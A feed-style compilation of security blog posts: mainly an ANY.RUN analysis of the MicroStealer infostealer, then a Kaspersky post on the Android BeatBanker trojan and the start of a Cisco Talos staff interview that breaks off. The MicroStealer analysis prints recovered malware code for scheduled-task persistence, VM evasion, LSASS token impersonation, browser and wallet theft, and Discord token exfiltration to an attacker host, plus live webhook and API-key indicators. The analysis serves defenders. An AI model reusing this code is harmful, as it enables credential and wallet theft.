Security teams depend on early signals to spot and contain new threats. But what happens when a fully capable infostealer spreads while traditional detections stay limited? 

In recent investigations, ANY.RUN researchers observed MicroStealer in 40+ sandbox sessions in less than a month, despite low public visibility. Early activity points to distribution through compromised or impersonated accounts, with education and telecommunications among the affected sectors.

MicroStealer is more than just another stealer. It targets browser credentials, session data, screenshots, and wallet files while using a layered NSIS → Electron → Java delivery chain that can slow confident detection.

Let’s break down how MicroStealer operates and how its behavior can be uncovered early in ANY.RUN’s interactive sandbox, helping teams shorten time to verdict, reduce unnecessary escalations, and prevent credential theft from becoming a business impact.

Key Takeaways 

• MicroStealer exposes a broader business risk by stealing browser credentials, active sessions, and other sensitive data tied to corporate access.

• The malware uses a layered NSIS → Electron → JAR chain that helps it stay unclear longer and slows confident detection.

• Distribution through compromised or impersonated accounts makes the initial infection look more trustworthy to victims.

• For enterprises, the main danger is delayed visibility while identity compromise and data theft are already in progress. 

• Behavior-based analysis is critical for confirming the threat quickly and reducing time to containment.

The Business Risk Behind MicroStealer 

For security leaders, MicroStealer reflects a threat designed to steal identity data, maintain access, and increase the chance of a wider enterprise incident. 

• Corporate identities become exposed: Browser credential theft and session cookie extraction compromise SaaS accounts, internal portals, VPN sessions, and cloud administration access tied to employee browsers.

• Privilege expansion becomes possible: Access to authentication tokens, browser sessions, and system credentials creates a path from a single compromised endpoint to privileged accounts and internal systems.

• Stealthy access persists longer: Stolen session data allows attackers to operate through valid user sessions, blending malicious activity with legitimate traffic across enterprise services.

• Data loss begins immediately: Screenshots, browser data, wallet files, and application artifacts are collected and exfiltrated through multiple channels, ensuring sensitive information leaves the environment quickly.

• Attackers gain reconnaissance value: Profiling of Discord and Steam accounts provides intelligence about the victim’s activity, helping attackers prioritize higher-value targets.

For CISOs, MicroStealer highlights a familiar enterprise risk: attackers can use stolen identities, stealthy delivery methods, and fast data theft to stay undetected, expand access inside the environment, and increase the risk of operational, compliance, and reputational damage.

Timeline of Observed MicroStealer Activity 

MicroStealer activity was first observed on December 14 during the analysis of the following analysis session inside ANY.RUN sandbox:

Check analysis session  

Over the following period, its activity continued to grow, and at the time of analysis it had already been identified in more than 40 sandbox sessions in less than one month, indicating an active distributionphase. 

However, despite the malware’s growing popularity, security vendors are still not detecting MicroStealer.

The highest concentration of detections was observed between January 7 and January 11, when 20 sandbox sessions containing MicroStealer activity were recorded. This suggests that MicroStealer is gaining traction. 

When visiting the malicious resource, the victim is presented with a visually appealing website: 

When the “Download Now” button is clicked, a JavaScript file is executed. It downloads a malicious file from Dropbox and sends the victim’s external IP address, region, OS version, and time zone to a Discord server.

This basic information serves as a beacon. However, if the downloaded malicious file is executed, MicroStealer steals data from web browser profiles, takes desktop screenshots, and sends the collected data as an archive to two destinations: a Discord server and a newly registered exfiltration server.

In this way, the stealer increases the chances that the stolen data will reach the attacker even if one of the servers becomes unavailable for some reason.

MicroStealer also uses the same name in its User-Agent header during the first GET request to Discord:

User-Agent: MicroStealer/1.0 

In addition to Dropbox, there were also cases where the sample was downloaded from other sources, for example: cdn[.]discordapp[.]com 

Victimology and Targeting 

Analysis of MicroStealer-related submissions to the ANY.RUN sandbox shows that 50% of observed sample uploads originated from the United States and Germany, pointing to notable activity in these regions.

Based on the observed cases, the education and telecommunications sectors appear to face elevated exposure. 

threatName:”microstealer” 

The distribution pattern also suggests that threat actors rely on compromised or impersonated accounts to deliver the malware, increasing the likelihood that victims will trust the source and execute the payload. 

Inside the MicroStealer Execution Chain 

The ANY.RUN sandbox provides a clear overview of the MicroStealer execution chain and detects the malware’s primary behavioral patterns, making it easier to begin the analysis.

To better understand how each component operates, the analysis proceeds with static analysis. The first stage in the infection chain is RocobeSetup.exe.

RocobeSetup is an NSIS installer (Nullsoft Scriptable Install System), which becomes immediately apparent when analyzing the binary using Detect It Easy (DIE) (Detect It Easy).

Since the installer has an archive structure, its contents can be inspected without executing the malware or using specialized analysis tools.

Among the files, the next stage in the infection chain can already be identified: Game Launcher.exe. The analysis then moves on to the other directories within the archive.

Inside the resource directory, two ASAR archives (Atom Shell Archive) can be found: app.asar and app.asar.unpacked. The latter contains the **main stealer module, an executable JAR file, along with a Java Runtime Environment (JRE), packaged inside the archive module.zip.

After unpacking app.asar using a standard ASAR unpacker, a small Node.js component becomes visible.

Static Analysis of the Node.js Component 

At this stage, the focus shifts to the main script located in index.js. Opening it in a text editor immediately reveals multiple signs of obfuscation, including compressed strings, constants grouped into arrays, flattened control flow, and dead code.

The next step is to analyze the string handling logic, since strings are used extensively throughout the program and can help reconstruct the malware’s execution flow.

To understand how the malware retrieves the strings it needs, let us examine the following code block:

var wa4Ibtk; 
(function () { 
function* mjAYxpv(mjAYxpv, JbBfOsP, PXuU6i, Tky9na = { 
rwLytg: {} 
}) { 
while (mjAYxpv + JbBfOsP + PXuU6i !== 124) with(Tky9na.bWzSK3 || Tky9na) switch (mjAYxpv + JbBfOsP + PXuU6i) { 
default: 
[Tky9na.rwLytg.sZF0hF, Tky9na.rwLytg.MtsKAJ, Tky9na.rwLytg.AggjBE] = [-57, -181, 104]; 
Tky9na.bWzSK3 = Tky9na.TDHlw5, mjAYxpv += -134, JbBfOsP += 290, PXuU6i += 145; 
break; 
case 162: 
case PXuU6i - -62: 
Tky9na.bWzSK3 = Tky9na.Q6N0rF, mjAYxpv += -340, JbBfOsP += 290; 
break; 
case Tky9na.rwLytg.AggjBE + -186: 
Tky9na.bWzSK3 = Tky9na.IQz1SBX, mjAYxpv += -211, JbBfOsP += 290; 
break; 
case -216: 
case 9: 
case -78: 
case 60: 
case PXuU6i - 190: 
case -96: 
[Tky9na.rwLytg.sZF0hF, Tky9na.rwLytg.MtsKAJ, Tky9na.rwLytg.AggjBE] = [-62, 172, 231]; 
rwLytg.DDXChP = "ɡⱃ¼ǀ⼡砫\ư෠祘ഀΠ䌡渡洀ં䊡䚐ɰଊ‥<䜀ྀᕩö (...truncated)"; 
rwLytg.tuWPH66 = cIb9x8P.decompressFromUTF16(rwLytg.DDXChP); 
Tky9na.bWzSK3 = Tky9na.rwLytg, mjAYxpv += -83, JbBfOsP += 227, PXuU6i += -441; 
break; 
case 40: 
case 235: 
case mjAYxpv - -42: 
Tky9na.rwLytg.zxxO0HE = tuWPH66.split("|"); 
return oh5cES = !0, wa4Ibtk = function (mjAYxpv) { 
return zxxO0HE[mjAYxpv] 
} 
} 
} 
var oh5cES, JbBfOsP = mjAYxpv(-31, -159, 415).next().value; 
if (oh5cES) { 
return JbBfOsP 
} 
})(); 

As we can see, all strings are combined and compressed using the LZ-String library into a single sequence of Unicode characters, stored in the variable DDXChP (for example, “ɡⱃ¼ǀ⼡砫ư෠祘ഀΠ䌡渡洀…”).

To restore them, the malware uses the decompressFromUTF16 method: rwLytg.tuWPH66 = cIb9x8P.decompressFromUTF16(rwLytg.DDXChP); 

This means that the value stored in DDXChP is the result of UTF-16-based compression. The obfuscator may reference the library under a different name, such as cIb9x8P, but the logic remains the same: the original string data is reconstructed from the compressed sequence.

After decompression, the resulting string is split using the | delimiter: Tky9na.rwLytg.zxxO0HE = tuWPH66.split(“|”); 

A specific string is then retrieved by index through a getter function: 

wa4Ibtk = function (mjAYxpv) { 
    return zxxO0HE[mjAYxpv]; 
}; 

Later, the malware references these strings through calls such as wa4Ibtk(3), wa4Ibtk(7), and wa4Ibtk(11), where the argument represents an index in the zxxO0HE array.

After removing the unnecessary junk code, this logic can be represented in the following simplified form:

var GetString; 
(function InitializeStringTable() { 
var compressed = "ɡⱃ¼ǀ⼡砫\ư෠祘ഀΠ䌡渡洀 (...truncated)"; 
var decompressed = lzObject.decompressFromUTF16(compressed); 
 
stringTable = decompressed.split("|"); 
GetString = function (index) { 
return stringTable[index]; 
}; 
})(); 

Next, we copy the lzObject implementation from the target script and run the resulting function in a separate script. This makes it possible to extract all strings used by the program. Since the total number of recovered strings is quite large, only some of the most interesting examples are shown below, along with their indices.

Note that many strings are truncated and concatenated directly in the code. Their full values are provided in parentheses:

[2]  spawn 
[3]  exec 
[59] env 
 
[11-25] 
    try { 
        Start-Process -FilePath " -ArgumentList '--install' -Verb RunAs 
        Stop-Process -Id 
        exit 0 
    } catch { 
        exit 1 
    } 
 
[35-41] powershell -ExecutionPolicy Bypass -NoProfile -NonInteractive -File " 
 
[27]    tmpdir 
[32-34] writeF + ileSyn (writeFileSync) 
[54-55] unlink + Sync (unlinkSync) 
[79]    exists 
[107-108] readFi + leSync (readFileSync) 
 
[60-65] LOCALA + PPDATA → USERPR + OFILE → AppDat + a + Local (LOCALAPPDATA / USERPROFILE / AppDataLocal) 
[66]    soft.j (soft.jar) 
[67]    model 
[68]    jre 
[69]    bin 
[70-71] miicro + soft.e (miicrosoft.exe) 
[73-74] resour + cesPat (resourcesPath) 
[76-78] app.as + ar.unp + acked (app.asar.unpacked) 
[81-82] model. + zip (model.zip) 
 
[128]   -jar 
[129-132] detach (detached), stdio, ignore, unref 
[140-141] --inst + all (--install) 

Let us now examine the obfuscated code fragments that implement the logic for launching the main payload, which is distributed in JAR format: 

    const mjAYxpv = [0, null, 32, 2, 1, 256, 6, 3, 8, 16, 4, "undefined", "LZString", "=", " ", ";", "\\", 15, 30, """, !1, !0, void 0, 26, 59, 10, 73, 74, "h", 55, 66,"ar", 79, 1023, 65536, 55296, 56320, 63, 31, 12, 18, 7, 128, 192, "e", 91, 92, 93, 255, 224, 240, 97, 98, 99, 100, "d", 33, "c", ")", 106, 107, 108, "g", 24, 60, 1000]; 
 
    // ... 
 
    const Tky9na = require("fs"), 
    _LLSkL = require("path"), 
    { 
        [wa4Ibtk(mjAYxpv[3])]: E5NpXn, 
        [wa4Ibtk(mjAYxpv[7])]: TD4p2BE 
    } = require("child_process"), 
    peB9yJ = require("os"), 
    OnZdH7B = require("adm-zip"); 
 
    // ... 
 
    const JbBfOsP = process[wa4Ibtk(mjAYxpv[24])][wa4Ibtk(mjAYxpv[64]) + wa4Ib(61)] || _LLSkL[wa4Ibtk(mjAYxpv[23])](process[wa4Ibtk(mjAYxpv[24])][wa4Ibtk(62) +wa4Ibtk(mjAYxpv[37])], wa4Ibtk(64) + "a", wa4Ibtk(65)), 
        TD4p2BE = _LLSkL[wa4Ibtk(mjAYxpv[23])](JbBfOsP, wa4Ibtk(mjAYxpv[30]) + mjAYxpv[31]), 
        peB9yJ = _LLSkL[wa4Ibtk(mjAYxpv[23])](JbBfOsP, wa4Ibtk(67), wa4Ibtk(68), wa4Ibtk(69), wa4Ibtk(70) + wa4Ibtk(71) + "xe"); 
 
    // ... 
 
    const vWOBncd = E5NpXn(peB9yJ, [wa4Ibtk(mjAYxpv[42]), TD4p2BE], { 
        [wa4Ibtk(129) + "ed"]: mjAYxpv[21], 
        [wa4Ibtk(130)]: wa4Ibtk(131), 
        [wa4Ibtk(mjAYxpv[24])]: process[wa4Ibtk(mjAYxpv[24])] 
    }); 
    vWOBncd[wa4Ibtk(132)](); 
    process[wa4Ibtk(mjAYxpv[59])](mjAYxpv[0]) 

After removing the junk code and substituting the resolved strings, this logic can be represented in the following much more readable form: 

const fs = require("fs"); 
const path = require("path"); 
const { spawn, exec } = require("child_process"); 
const os = require("os"); 
const AdmZip = require("adm-zip"); 
 
const baseDir = 
    process.env.LOCALAPPDATA || 
    path.join(process.env.USERPROFILE, "AppData", "Local"); 
 
const jarPath = path.join(baseDir, "soft.jar"); 
 
const javaExePath = path.join( 
    baseDir, 
    "model", 
    "jre", 
    "bin", 
    "miicrosoft.exe" 
); 
 
const child = spawn( 
    javaExePath, 
    ["-jar", jarPath], 
    { 
        detached: true, 
        stdio: "ignore", 
        env: process.env 
    } 
); 
 
child.unref(); 
 
process.exit(0); 

The malware then extracts an embedded JRE, disguises the executable as miicrosoft.exe, launches the JAR file in the background, and immediately terminates the main Node.js process, allowing the payload to continue running independently.

Breaking Down the Execution Chain 

As part of its execution chain, the malware also attempts to obtain elevated privileges. This stage is not analyzed in detail here, as it relies primarily on social engineering: the victim is simply presented with a UAC prompt that is likely to be perceived as a normal part of the installation process. 

The PowerShell script used for this step is shown below: 

try { 
    Start-Process -FilePath "Game Launcher.exe" -ArgumentList '--install' -Verb RunAs 
    Stop-Process -Id (pid) 
    exit 0 
} catch { 
    exit 1 
} 

At this stage, the role of Game Launcher.exe becomes clear. The presence of the resources directory containing an ASAR archive and a Node.js project indicates the use of Electron. Analysis in Ghidra confirms this: a modal window prompts to load electron.pdb, and both the strings and the entry point contain characteristic Electron artifacts.

Ultimately, Game Launcher.exe is an Electron application used as part of the malware delivery chain. The execution flow is as follows: 

• NSIS (RocobeSetup.exe): An archive installer containing the malicious payload 

• Electron (Game Launcher.exe): Requests administrator privileges through UAC 

• Electron (Game Launcher.exe –install): Extracts and launches the JAR file 

• Java (miicrosoft.exe -jar soft.jar): Executes the main malicious logic 

The combination of an NSIS installer and Electron significantly complicates the static analysis of the malware. Electron can directly read and execute JavaScript code from an ASAR archive without extracting it to the file system, bypassing traditional signature-based detection mechanisms. 

At the same time, the NSIS installer ensures that the malicious files remain unavailable for analysis or detection until the installer itself finishes execution. 

Static Analysis of the Java Module 

The next step is to analyze the main module by loading the JAR file into a disassembler. Once again, we encounter obfuscated code; this time on the Java side. As with the Node.js component, the strings are encrypted and recovered through helper functions. A representative fragment is shown below:

private static void lambda$checkEnvironment$1(String str) throws Exception { 
    int iD = a.d(); 
    String[] strArr = new String[a(0x5e23, 0x6709cb2b9951dedeL)]; 
    strArr[0] = a((int) 0xfffff707, (int) 0xfffff6e2); 
    strArr[1] = a((int) 0xfffff636, (int) 0xffff90f5); 
    strArr[2] = a((int) 0xfffff6c2, (int) 0xfffff530); 
     
    // ... 
 
    ?? AnyMatch = iD; 
    AnyMatch = Arrays.asList(strArr).stream().anyMatch((v1) -> { 
        return lambda$null$0(r1, v1); 
    }); 
} 

After identifying this characteristic pattern, we examined the header of the .class file to look for traces of the obfuscator in use, and immediately found ZKM (Zelix KlassMaster) v21.0.0.

There are already several effective public deobfuscators available for this version of ZKM. In this case, Threadtear was used with a set of ZKM-focused modules, including string deobfuscation, access restoration, flow deobfuscation, and several additional modules for bytecode cleanup. After successful deobfuscation, the analysis proceeded to the malware’s core functionality.

Overview of MicroStealer Capabilities 

After deobfuscation, the code became significantly more readable, although not entirely; some parts of the logic still remain convoluted. Even so, the core functionality of MicroStealer is already open to analysis. Let us look at its modules in more detail:

Persistence 

Persistence is implemented through the Windows Task Scheduler: 

private void a() throws InterruptedException, IOException { 
    String string = System.getenv("LOCALAPPDATA"); 
    string = System.getProperty("user.home") + "\AppData\Local"; 
    String string2 = string + "\model\jre\bin\miicrosoft.exe"; 
    String string3 = string + "\soft.jar"; 
    String string4 = System.getProperty("user.name"); 
    String string5 = "App_" + string4; 
    String string6 = String.format("schtasks /create /tn "%s" /tr "\"%s\" -jar \"%s\"" /sc ONLOGON /delay 0000:05 /rl HIGHEST /f", string5, string2, string3); 
    Process process = Runtime.getRuntime().exec(string6); 
    process.waitFor(); 
} 

The command creates a task in Windows Task Scheduler with the ONLOGON trigger (executed when the user logs in), a 5-second delay, and highest privileges (HIGHEST). As a result, the malwareautomatically resumes operation even after the system is rebooted. 

Virtual Machine Detection 

MicroStealer checks the execution environment for processes and services typically associated with virtual machines. If at least one match is found, execution is terminated immediately.

Despite these anti-analysis checks, the sample executes successfully in the ANY.RUN sandbox, allowing its behavior to be fully exposed during analysis.

This makes it possible to observe the malware’s logic in action and extract valuable IOCs for further detection and threat hunting. 

private static void checkEnvironment(String str) throws Exception { 
    String[] strArr = new String[13]; 
    strArr[0]  = "vmwaretray"; 
    strArr[1]  = "vmwareuser"; 
    strArr[2]  = "vgauthservice"; 
    strArr[3]  = "vmacthlp"; 
    strArr[4]  = "vmsrvc"; 
    strArr[5]  = "vmusrvc"; 
    strArr[6]  = "vmtoolsd"; 
    strArr[7]  = "vboxservice"; 
    strArr[8]  = "vboxtray"; 
    strArr[9]  = "qemu-ga"; 
    strArr[10] = "xenservice"; 
    strArr[11] = "prl_cc"; 
    strArr[12] = "prl_tools"; 
 
    boolean anyMatch = Arrays.asList(strArr) 
        .stream() 
        .anyMatch(v1 -> str.toLowerCase().contains(v1)); 
 
    if (anyMatch) { 
        Runtime.getRuntime().halt(0); 
    } 
} 

Browser Data Theft 

MicroStealer supports a wide range of Chromium-based browsers, as well as Opera and Opera GX. For each detected browser, it accesses the user’s profile data and then extracts protected information using Windows DPAPI.

put("Chrome", localAppData + "\Google\Chrome\User Data"); 
put("Brave", localAppData + "\BraveSoftware\Brave-Browser\User Data"); 
put("Edge", localAppData + "\Microsoft\Edge\User Data"); 
put("Vivaldi", localAppData + "\Vivaldi\User Data"); 
put("Yandex", localAppData + "\Yandex\YandexBrowser\User Data"); 
put("Chromium", localAppData + "\Chromium\User Data"); 
// ... 
 
put("Opera", appData + "\Opera Software\Opera Stable"); 
put("Opera GX", appData + "\Opera Software\Opera GX Stable"); 

Interaction with LSASS 

When LSA protection is disabled (RunAsPPL = 0), the malware attempts to obtain elevated privileges by interacting with the lsass.exe process. It enables SeDebugPrivilege, searches for LSASS in the process list, and then duplicates its security token and impersonates the token in the current thread:

Advapi32Util.registryGetIntValue(HKEY_LOCAL_MACHINE,  
    "SYSTEM\CurrentControlSet\Control\Lsa", "RunAsPPL"); 
 
af.INSTANCE.RtlAdjustPrivilege(SeDebugPrivilege, true, false, intByReference); 
 
WinNT.HANDLE snapshot = Kernel32.INSTANCE.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
while (Kernel32.INSTANCE.Process32Next(snapshot, processEntry)) { 
    if ("lsass.exe".equalsIgnoreCase(Native.toString(processEntry.szExeFile))) { 
        HANDLE hProcess = Kernel32.INSTANCE.OpenProcess(PROCESS_QUERY_INFORMATION, false, processEntry.th32ProcessID); 
         
        Advapi32.INSTANCE.OpenProcessToken(hProcess, TOKEN_DUPLICATE, tokenHandle); 
        Advapi32.INSTANCE.DuplicateToken(tokenHandle.getValue(), SecurityImpersonation, duplicatedToken); 
        Advapi32.INSTANCE.ImpersonateLoggedOnUser(duplicatedToken.getValue()); 
        break; 
    } 
} 

Screen Capture 

The malware captures the user’s current screen using java.awt.Robot. The resulting image is saved in PNG format and then packaged into a ZIP archive for later exfiltration.

Robot robot = new Robot(); 
Rectangle screen = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()); 
BufferedImage screenshot = robot.createScreenCapture(screen); 
ImageIO.write(screenshot, "png", new File("screenshot.png")); 

Additional MicroStealer Functionality 

MicroStealer targets both browser-based cryptocurrency wallet extensions (via Local Extension Settings) and desktop wallet applications. The wallet files are copied in full, without any additional processing.

put("Metamask", "\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn"); 
put("Phantom", "\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa"); 
put("Trust Wallet", "\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph"); 
put("Coinbase", "\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad"); 
// ... 
 
put("Exodus", appData + "\Exodus\exodus.wallet"); 
put("Electrum", appData + "\Electrum\wallets"); 
put("AtomicWallet", appData + "\atomic\Local Storage\leveldb"); 
put("Ethereum", appData + "\Ethereum\keystore"); 
put("Jaxx", appData + "\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb"); 
// ... 

JavaScript code is injected into the Discord desktop application, using Webpack Chunk Injection to access internal client modules and the Chrome DevTools Protocol (CDP) to intercept network requests and monitor user activity. 

const { session, BrowserWindow } = require('electron'); 
const C = { webhook: { url: 'https://78smp.com/m/' } }; 
 
// token extraction from webpack 
window.webpackChunkdiscord_app.push([ 
    [Math.random()], {}, 
    (r) => { 
        for (const mid in r.c) { 
            const getToken = r.c[mid]?.exports?.default?.getToken; 
            if (typeof getToken === 'function') return getToken(); 
        } 
    } 
]); 
 
// CDP-based network interception 
w.webContents.debugger.attach('1.3'); 
w.webContents.debugger.on('message', async (_, m, p) => { 
    // /auth/login, /mfa/totp, /users/@me 
    // exfiltration to Discord webhook 
}); 

The malware intercepts events related to logins, credential changes, 2FA enablement, and the addition of payment methods such as Stripe and Braintree/PayPal. In addition, it collects account metadata such as badges, Nitro level, and similar attributes, which may indicate an attempt to profile victims.

Steam Account Profiling 

The malware also collects information about the victim’s Steam account. Using a hardcoded API key, the stealer queries the Steam Web API to retrieve the profile level, number of owned games, and account creation date. 

While this information does not provide direct access to the account on its own, it may be used to assess the victim’s value and prioritize targets, similarly to the profiling observed in Discord.

String apiKey = "440D7F4D810EF9298D25EDDF37C1F902"; 
 
String levelUrl = String.format( 
    "https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=%s&steamid=%s", 
    apiKey, steamId 
); 
 
String gamesUrl = String.format( 
    "https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=%s&steamid=%s", 
    apiKey, steamId 
); 
 
String summaryUrl = String.format( 
    "https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=%s&steamids=%s", 
    apiKey, steamId 
); 

Detecting MicroStealer Early: A Practical Investigation Loop 

MicroStealer highlights a familiar problem for many security teams: new malware families often appear before reliable signatures or threat intelligence become widely available.

When that happens, defenders are left with suspicious files, unclear alerts, and limited external context. Without fast verification, attackers can quietly collect credentials, session tokens, and other sensitive data while investigations stall. 

Early detection depends on how quickly a team can move from uncertain signals to confirmed malicious behavior. 

1. Monitoring: Spot Suspicious Infrastructure Early 

Infostealers often rely on external services and fresh infrastructure for data exfiltration. In the case of MicroStealer, stolen information is transmitted through Discord webhooks and attacker-controlled servers.

Monitoring for newly observed infrastructure and suspicious connections can help teams catch early signs of compromise before the malware fully completes its collection and exfiltration stages. 

ANY.RUN’s Threat Intelligence Feeds continuously surface newly observed indicators based on telemetry and submissions from 15,000+ organizations and 600,000+ security professionals. 

For SOC teams, this means fewer blind spots in monitoring and earlier visibility into suspicious domains, IPs, and attacker infrastructure. 

2. Triage: Confirm Behavior Instead of Guessing 

New malware families like MicroStealer often lack clear static signatures or reliable reputation data, which slows down traditional investigation workflows.

Instead of relying only on static verdicts, analysts can quickly confirm what a suspicious file actually does by executing it in a controlled environment. 

Running the sample in the ANY.RUN interactive sandbox reveals the full execution chain, including: 

• NSIS installer delivering the payload 
• Electron loader extracting the JAR module
• Java stealer executing its data collection logic  
• Attempts to steal browser credentials and wallet data 
• Communication with Discord webhooks and external servers 

Within minutes, analysts can observe the complete attack chain, extract reliable IOCs, and determine whether the sample poses a real threat.

For SOC teams, this replaces guesswork with behavior-based evidence, helping reduce investigation time and avoid unnecessary escalations.

3. Threat Hunting: Expand Detection from One Sample 

Once a stealer like MicroStealer is confirmed, the next step is ensuring it does not appear elsewhere in the environment. 

Using Threat Intelligence Lookup, analysts can pivot from the initial indicators to discover related infrastructure, connected samples, and similar activity patterns. 

This allows teams to: 

• identify related domains and IP addresses 
• find other samples using the same infrastructure 
• detect variants using the same delivery chain 

threatName:”microstealer” 

By pivoting across infrastructure and behavior, organizations can transform a single investigation into broader detection coverage across the environment. 

Conclusion: Faster Clarity Means Lower Risk 

MicroStealer demonstrates how modern infostealers combine layered delivery chains, heavy obfuscation, and anti-analysis techniques to slow down detection. 

However, even complex malware becomes manageable when teams can quickly move from uncertain alerts to clear behavioral evidence. 

By combining early monitoring, fast behavioral triage, and targeted threat hunting, security teams can uncover emerging threats faster, reduce investigation time, and limit the risk of data theft inside corporate environments. 

Bring speed and clarity to your SOC with ANY.RUN ➜ 

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, fits naturally into modern SOC workflows and supports investigations from initial alert to final containment. 

The platform allows teams to safely execute suspicious files and URLs, observe real behavior in an interactive environment, enrich indicators with immediate context through TI Lookup, and continuously monitor emerging infrastructure using Threat Intelligence Feeds. Together, these capabilities help reduce uncertainty, accelerate triage, and limit unnecessary escalations across the SOC. 

ANY.RUN also meets enterprise security and compliance expectations. The company is SOC 2 Type II certified, reinforcing its commitment to protecting customer data and maintaining strong security controls.

Indicators of Compromise (IOCs)   

Analyzed Files 

Network indicators 

HTTPS Request: 

https[:]//78smp[.]com/m/ 

https[:]//discord[.]com/api/webhooks/1460660027969896695/FQ2nam1vUVDwLbiTZCPen9C53eBMg_qB3-z8pGRtZ3ZerbyflDnzfmJVLpgElxMNfO41 

Domains: 

API Keys

Steam Web API Key: 440D7F4D810EF9298D25EDDF37C1F902 

MITRE ATT&CK Techniques 

The post MicroStealer Analysis: A Fast-Spreading Infostealer with Limited Detection  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

To achieve their malign aims, Android malware developers have to address several challenges in a row: trick users to get inside their smartphones, dodge security software, talk victims into granting various system permissions, keep away from built-in battery optimizers that kill resource hogs, and, after all that, make sure their malware actually turns a profit. The creators of the BeatBanker — an Android‑based malware campaign recently discovered by our experts — have come up with something new for each one of these steps. The attack is (for now) aimed at Brazilian users, but the developers’ ambitions will almost certainly push them toward international expansion, so it’s worth staying on guard and studying the threat actor’s tricks. You can find a full technical analysis of the malware on Securelist.

How BeatBanker infiltrates a smartphone

The malware is distributed through specially crafted phishing pages that mimic the Google Play Store. A page that’s easily mistaken for the official app marketplace invites users to download a seemingly useful app. In one campaign, the trojan disguised itself as the Brazilian government services app, INSS Reembolso; in another, it posed as the Starlink app.

The installation takes place in several stages to avoid requesting too many permissions at once and to further lull the victim’s vigilance. After the first app is downloaded and launched, it displays an interface that also resembles Google Play and simulates an update for the decoy app — requesting the user’s permission to install apps, which doesn’t look out-of-the-ordinary in context. If you grant this permission, the malware downloads additional malicious modules to your smartphone.

All components of the trojan are encrypted. Before decrypting and proceeding to the next stages of infection, it checks to ensure it’s on a real smartphone and in the target country. BeatBanker immediately terminates its own process if it finds any discrepancies or detects that it’s running in emulated or analysis environments. This complicates dynamic analysis of the malware. Incidentally, the fake update downloader injects modules directly into RAM to avoid creating files on the smartphone that would be visible to security software.

All these tricks are nothing new and frequently used in complex malware for desktop computers. However, for smartphones, such sophistication is still a rarity, and not every security tool will spot it. Users of Kaspersky products are protected from this threat.

Playing audio as a shield

Once established on the smartphone, BeatBanker downloads a module for mining Monero cryptocurrency. The authors were very concerned that the smartphone’s aggressive battery optimization systems might shut down the miner, so they came up with a trick: playing an all-but-inaudible sound at all times. Power consumption control systems typically spare apps that are playing audio or video to avoid cutting off background music or podcast players. In this way, the malware can run continuously. Additionally, it displays a persistent notification in the status bar, asking the user to keep the phone on for a system update.

Control via Google

To manage the trojan, the authors leverage Google’s legitimate Firebase Cloud Messaging (FCM) — a system for receiving notifications and sending data from a smartphone. This feature is available to all apps and it’s the most popular method for sending and receiving data. Thanks to FCM, attackers can monitor the device’s status and change its settings as needed.

Nothing bad happens for a while after the malware is installed: the attackers wait it out. Then they trigger the miner, but they’re careful to throttle it back if the phone overheats, the battery starts dipping, or the owner happens to be using the device. All of this is handled via FCM.

Theft and espionage

In addition to the crypto miner, BeatBanker installs extra modules to spy on the user and rob them at the right moment. The spyware module requests Accessibility Services permission, and if this is granted, begins monitoring everything that’s happening on the smartphone.

If the owner opens the Binance or Trust Wallet app to send USDT, the malware overlays a fake screen on top of the wallet interface, effectively swapping the recipient’s address for its own. All transfers go to the attackers.

The trojan features an advanced remote control system and is capable of executing many other commands:

• Intercepting one-time codes from Google Authenticator
• Recording audio from the microphone
• Streaming the screen in real-time
• Monitoring the clipboard and intercept keystrokes
• Sending SMS messages
• Simulating taps on specific areas of the screen and text input according to a script sent by the attacker, and much more

All of this makes it possible to rob the victim when they use any other banking or payment services — not just crypto payments.

Sometimes victims are infected with a different module for espionage and remote smartphone control — the BTMOB remote access trojan. Its malicious capabilities are even broader, including:

• Automatic acquisition of certain permissions on Android 13–15
• Continuous geolocation tracking
• Access to the front and rear cameras
• Obtaining PIN codes and passwords for screen unlocking
• Capturing keyboard input

How to protect yourself from BeatBanker

Cybercriminals are constantly refining their attacks and coming up with new ways to profit from their victims. Despite this, you can protect yourself by following a few simple precautions:

• Download apps from official sources only, such as Google Play or the app store preinstalled by the vendor. If you find an app while searching the internet, don’t open it via a link from your browser; instead, head to the Google Play app or another branded store on your smartphone to search for it there. While you’re at it, check the number of downloads, the app’s age, and look at the ratings and reviews. Avoid new apps, apps with low ratings, and those with a small number of downloads.
• Check any permissions you grant. Don’t grant permissions if you’re not sure what they do or why that specific app requires them. Be extra careful with permissions like Install unknown apps, Accessibility, Superuser, and Display over other apps. We’ve written about these in detail in a separate article.
• Equip your device with a comprehensive anti-malware solution. We, naturally, recommend Kaspersky for Android. Users of Kaspersky products are protected from BeatBanker — detected with the verdicts HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*.
• Regularly update both your operating system and security software. For Kaspersky for Android, which is currently unavailable on Google Play, please review our detailed instructions on installing and updating the app.

Threats to Android users have been going through the roof lately. Check out our other posts on the most relevant and widespread Android attacks and tips for keeping you and your loved ones safe:

• The perfect storm of Android threats
• Brain drain: vulnerabilities in mental health apps
• Pixnapping vulnerability: unblockable screenshots of your Android phone
• NFC skimming attacks
• A new layer of anti-phishing security in Kaspersky for Android

Kaspersky official blog – ​Read More

Welcome back! This week, we’re shining a spotlight on Kri Dontje, a technical writer who’s become an essential voice in making Cisco Talos’ work understandable for a wide audience. With a background in technical communications and a career that began at a small startup, Kri discusses the importance of consistency, accuracy, and accessibility in documentation, as well as how to get the most out of a subject matter expert-technical writer relationship.

Now transitioning into a new role, Kri continues to bridge the gap between deep technical expertise and clear communication. When she’s not decoding cyber jargon, she’s hand-spinning yarn for stunning knit pieces, showing that creativity and tech go hand in hand. Keep an eye out for more content featuring Kri in the future.

Amy Ciminnisi: Can you tell us a little bit about what you do here in Talos?

